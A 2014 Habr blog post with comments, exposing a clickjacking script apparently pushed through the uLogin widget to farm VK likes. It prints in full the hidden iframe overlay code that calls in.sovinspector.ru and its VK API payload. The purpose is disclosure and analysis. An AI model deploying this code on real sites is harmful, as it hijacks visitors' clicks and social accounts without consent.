0,0
рейтинг
25 сентября 2014 в 13:07

Разработка → uLogin, как средство накрутки лайков клиентов

Будет немного сумбурно, но все же по делу.
Рассказ пойдет о красном квадрате малевича, о uLogin и о сервисе социальной активности для набора лайков.

Все началось с того, что ковыряясь в одном из своих проектов, наткнулся на красный квадрат Малевича — кодовое название накруточного слоя для лайков в соц сети, выглядело примерно так:



Поняв, что дело неладное, т.к. таких скриптов не ставил, полез искать шалуна.
Для начала набрел на некий скрипт, лежащий по адресу:
w.uptolike.com/widgets/v1/extra.js?rnd=903182 (далее Скрипт Uptolike)

Конечно, посетовав на нашего СЕО-специалиста, полез в админ-панель и в код сайта с поиском когда и кто успел прописать данный скрипт. Как Вы и предполагаете — ничего не нашел. Дальше — проще. Нужно найти кто же нам подсовывает этот скрипт. Искать долго не пришлось — это многими любимый uLogin:



Теперь пойдем в тех особенности.
Скрипт Uptolike не всегда выдает себя. Вот здоровый скрипт, показавший себя сразу же при пробе повторить эксперимент с накрутками:
Здоровый скрипт
(function() {
    (function () {

    if (!window["__utl_adbl_initialized"]) {
        window["__utl_adbl_initialized"] = true;
    }
    else {
        return;
    }

    var body = document.getElementsByTagName("body")[0];
    var img = document.createElement("img");
    img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
    img.style.position = "absolute";
    img.style.top = "-100px";
    img.style.left = "-100px";
    img.style.width = "1px";
    img.style.height = "1px";
    setTimeout(function() {body.removeChild(img);}, 2000);
    body.appendChild(img);


})();})();



Вот скрипт курильщика, который случайно попался на глаза от Uptolike:
Скрипт курильщика
(function() {
    (function () {

    if (!window["__utl_adbl_initialized"]) {
        window["__utl_adbl_initialized"] = true;
    }
    else {
        return;
    }

    var body = document.getElementsByTagName("body")[0];
    var img = document.createElement("img");
    img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
    img.style.position = "absolute";
    img.style.top = "-100px";
    img.style.left = "-100px";
    img.style.width = "1px";
    img.style.height = "1px";
    setTimeout(function() {body.removeChild(img);}, 2000);
    body.appendChild(img);


})();(function() {

    function addScript(url) {
        var el = document.createElement("script");
        el.type = "text/javascript";
        el.charset = 'utf-8';
        el.async = 'true';
        el.src = url;

        el.isLoaded = false;
        document.getElementsByTagName('head')[0].appendChild(el);

    }

    if (window.location.protocol=='https') {
        return;
    }


    if (!window["__utl_clkj_initialized"]) {
        window["__utl_clkj_initialized"] = true;
    }
    else {
        return;
    }

    function install() {

        var cleaning = false;
        var lastClickedElement;


        var body = document.getElementsByTagName("body")[0];
        var div = document.createElement("div");
        div.style.position = "absolute";
        div.style.width = "1px";
        div.style.height = "1px";
        div.style.top = "-1px";
        div.style.left = "-1px";
        div.style.zIndex = "10000";
        div.innerHTML = "<div id='__smth_wrap1' style='overflow: hidden;width: 20px;height: 25px;opacity:0.000001; position: fixed; z-index: 100001;'><iframe width='100' height='100' style='width:100px; height:100px;' src='http://in.sovinspector.ru/index.php?page=f5253166-a338-425d-b1ed-76dfd3862dc8'></iframe></div>";
        body.appendChild(div);


        var el = document.getElementById("__smth_wrap1");

        var mousemove = function(e) {
            var x = e.clientX, y = e.clientY;
            div.style.zIndex = "-1";
            var element = document.elementFromPoint(x, y);
            div.style.zIndex = "10000";
            if (element.nodeName == "A" || element.parentNode.nodeName == "A") {
                div.style.display = "block";
                el.style.left = (e.pageX - 10) + "px";
                el.style.top = (e.pageY - window.scrollY - 12) + "px";
                lastClickedElement = element;
            }
            else {
                lastClickedElement = undefined;
                div.style.display = "none";
            }
        };


        var clickListener = function(e) {
            setTimeout(function() {
                cleanup();
            }, 100);
        };

        document.addEventListener("mouseup", clickListener);

        function init(msg) {
            if (cleaning) {
                return;
            }
            if (msg && msg.data["context"]==="stggr") {
                if (msg.data["action"] === "init") {
                    if (cleaning) {
                        return;
                    }
                    setTimeout(function() {
                        if (cleaning) {
                            return;
                        }
                        div.style.width = "100%";
                        div.style.height = "100%";
                        div.style.top = "0";
                        div.style.left = "0";
                        window.addEventListener("mousemove", mousemove);
                    }, 1000);
                }
                else if (msg.data["action"] === "clean") {
                    cleanup();
                }
                else if (msg.data["action"] === "got") {
                    var img = document.createElement("img");
                    img.src = "//w.uptolike.com/widgets/v1/vk_clk?rnd="+Math.random();
                    img.style.position = "absolute";
                    img.style.top = "-100px";
                    img.style.left = "-100px";
                    img.style.width = "1px";
                    img.style.height = "1px";
                    img.onLoad = function() {
                        clickOnce();
                    }
                    setTimeout(function() {body.removeChild(img);}, 2000);
                    body.appendChild(img);

                    var clicked = false;
                    var clickOnce = function() {
                        if (clicked) return;
                        if (lastClickedElement) {
                            lastClickedElement.click();
                            clicked = true;
                        }
                    }

                    setTimeout(clickOnce, 500);

                    cleanup();
                }
            }
        }
        if (window.addEventListener){
            window.addEventListener("message", init, false);
        } else {
            window.attachEvent("onmessage", init);
        }


        var cleanup = function () {
            cleaning = true;
            window.removeEventListener("mousemove", mousemove);
            document.removeEventListener("mouseup", clickListener);
            document.removeEventListener("message", init)
            body.removeChild(div);
        };
    }

    install();

})()})();



Что делает:
  • Создает невидимый слой, который отображается при наведении на ссылки
  • Ловит клик и сматывает удочки


Содержимое iframe
<html>
<head>
    <script src="//vk.com/js/api/openapi.js?115"></script>
    <script>

        var debug = false;

        function log(e) {
            if (debug && window["console"]) {
                console.log(e);
            }
        }

        function initialize() {
            var body = document.getElementsByTagName("body")[0];

            VK.init({apiId: '4536751' });
            VK.Widgets.Auth("_smth__vk_auth", {width: "200px", onAuth: function (data) {
                log("User authenticated: "+data);
                window.parent.postMessage({context: "stggr", action: "got", data: data}, "*");
            }, onReady: function () {
                log("VK widget ready");
                window.parent.postMessage({context: "stggr", action: "init"}, "*");
            }});

            setTimeout(function() {
                var wrapper = document.getElementById("wrapper");
                var h = wrapper.clientHeight;
                if (h<90) {
                    log("Unauthorized (iframe height: "+h+"px)");
                    document.body.removeChild(wrapper)
                    window.parent.postMessage({context: "stggr", action: "clean"}, "*");
                }
                else {
                    log("Authorized");
                    wrapper.removeChild(document.getElementById("_smth__vk_auth"));

                    VK.Observer.subscribe("widgets.like.liked", function() {
                        log("like clicked");
                        window.parent.postMessage({context: "stggr", action: "got"}, "*");
                    });
                    VK.Observer.subscribe("widgets.like.unliked", function() {
                        log("unlike clicked");
                        window.parent.postMessage({context: "stggr", action: "got"}, "*");
                    });

                    VK.Widgets.Like("_smth_vk_like", {type: "button"});
                    var rm = setInterval(function() {
                        if (document.querySelector) {
                            var iframe = document.querySelector("body > iframe");
                            if (iframe) {
                                document.body.removeChild(iframe);
                                log("cleared iframe");
                                clearInterval(rm);
                            }
                        }
                    }, 50);
//                    wrapper.style.top = "-75px";
                    wrapper.style.left = "-25px";
                }
            }, 2000);
        }


    </script>

    <style>
        #wrapper {
            position:absolute;
            top:0;
            left:-210px;
            /*top:-75px;*/
            /*left:-15px; */
            width: 100px;
        }
    </style>

</head>
<body onload="initialize();">
<div id="wrapper">
    <div id="_smth__vk_auth"></div>
    <div id="_smth_vk_like"></div>
</div>
</body>
</html>



Ссылки на ресурсы можно взять из кода. И да, это пример того, как современные «особенности» используются в современном «СЕО».
Александр Миленко @Alvein
карма
11,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (27)

  • +2
    Если спрятать простыню кода под спойлер(что и нужно делать), то от статьи останется немного негодования и реклама, что сказать-то хотели в итоге? (да, я прочитал про сумбурность)
    • +7
      Блин прочитал два раза не ясно, кого рекламируют ?:) uLogin или uptolike? В итоге судя по посту и улогина и аптулайка руки по локоть в фекашках.
      или это такой черный пиар?
    • +1
      Кто виноват и кого бить тоже не особо понятно.
      • +1
        Бить наверное меня, т.к. мне случайно попался скрипт, который явно не постоянно подключается при загрузке, а так, изредка и выборочно. Короче «поймал за руку случай» — повезло
  • 0
    Так вот каким образом я оказался подписан на левые группы в VK.
    • +2
      скорее ваш сломанный акк купили за 3 рубля в составе пачки других на соответствующих сайтах
    • +3
      Их перекупили, переименовали и превратили в другие проекты. Раньше это была «Группа тех, кто иногда умывается по утрам» и подобные.
  • +1
    Это исходник скрипта в оригинале? У нас недавно были подобные случаи с готовыми скриптами, но SEO-шники утверждали, что это результат взлома (последние события показали, что так, скорее всего, оно и было).
    • +1
      Между нормальным скриптом и скриптом для курильщика — разница в соседние окна. Все без изменений выложено
  • +1
    Я таки не понял, а кто главный злодей-то? uLogin? Кого ногами бить, и самое главное что делать чтобы не попасть в аналогичную ситуацию?

    • +4
      Включаю КО :)
      Чтобы не попасть в аналогичную ситуацию подключайте скрипты только со своего сервера. Тут и jquery кстати отметился недавно, т.ч. вообще все у себя надо держать.
      • 0
        jquery? можно посмотреть, где именно и как отметился?
      • +1
        Свои иногда тоже ломают. Нарывались уже — встречали хакерские вставки в PHP- и JavaScript-коды yui и некоторых других типовых скриптов и движков на нашем сервере. Но тут уже зависит от того, кто и как эксплуатирует.
      • –1
        Кстати говоря, написал по случаю на коленке за пару часов на Delphi программку для поиска отличий в файлах и структуре каталогов. Использовал при взломе нашего сервера для поиска изменённых скриптов в проекте на несколько гигов (сравнивались два распакованных бэкапа до и после заражения — структура каталогов, размер и md5-хэши файлов). Думаю, не выложить ли её себе на сайт с исходниками, только не знаю, насколько она тут будет интересна сообществу.
        • +2
          Боюсь вас разочаровать, но для такого дела очень легко использовать git.
          • 0
            Правильно я понял, что система управления версиями (та же git) позволит в данном случае найти изменения, сделанные в обход оной, и выдать инфу об отличиях для поиска несанкционированных изменений?
            • +1
              Поможет для поиска изменений между бэкапами: распаковываем бэкап А, создаем репозиторий, добавляем все, делаем коммит, заменяем данные бэкапом Б, смотрим diff — как-то так.
              • 0
                Как-то действий многовато получается. У меня после программки было просто: распаковал бэкапы в разные каталоги, запустил программку, указал в её окне пути к бэкапам, щёлкнул кнопку и минут через 20 получил список изменений в grid-е и XML-файле. Осталось только отсмотреть отличия в конкретных файлах с помощью fc. Изменений было мало, так что бяки нашлись быстро.
                • 0
                  Да не надо столько много всего делать.
                  Схема такая: git в отдельном каталоге, собственно проект – в отдельном. Всякого рода картинки, кэши и там прочее, что не исполняемое из git-а исключено, то есть он держит в себе только скрипты (мы же про веб-проект говорим), исполняемые файлы то есть. И вряд ли их будет несколько гигов (да и это не сказать, чтоб проблема для современного-то железа).
                  Один раз добавили всё, что нужно, закоммитили и коммит назвали там как-нибудь «состояние на 25.09.14», и всё. Если ничего не меняется, git status будет показывать clear, если что-то поменяли самостоятельно – коммитим снова (вообще через git и разворачивать удобно новые версии), если что-то поменялось – по git status мы видим конкретный файл, а по git diff – конкретные строки и изменения в них.
                  • 0
                    ИМХО годится такой подход, разве что, для огромных проектов с кучей серверов, ибо там деваться особо некуда. Для остальных случаев не считаю его правильным. Подменить эксплоитом могут не только скрипт, но и, например, картинку, PDF-файл, ещё что-нибудь, что может быть открыто дырявым приложением. Да и потереть, к слову, тоже могут. Искать потерю потом не всегда приятно.
                    • 0
                      Не хочу никого разочаровывать, но если не нрвится git и diff, в mc есть кнопочки Ctrl+x -> D и Ctrl+X+D
          • 0
            Для нескольких гигабайт — вряд ли:) С другой стороны существует PlasticSCM, которую рекомендуют для гигантских игровых проектов (сам не пробовал).
        • +1
          • 0
            Не слышал про такую. Хорошая штука, спасибо. Правда, меня терзают смутные сомнения насчёт того, что хакер, взломавший сервер, не сможет подкорректировать базу так, чтобы изменения не были видны. Я сравнивал бэкапы, слитые автоматически на чистую машину.
  • +5
    Понаставят скриптов на сайты, а пользователи страдают.
  • +2
    Никаких uLogin, Loginza и подобных «полезных» сервисов!

    Только HybridAuth и локальные библиотеки. Лучше один раз помучаться, и освоить, чем сидеть на пороховой бочке и зависеть от не пойми кого.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.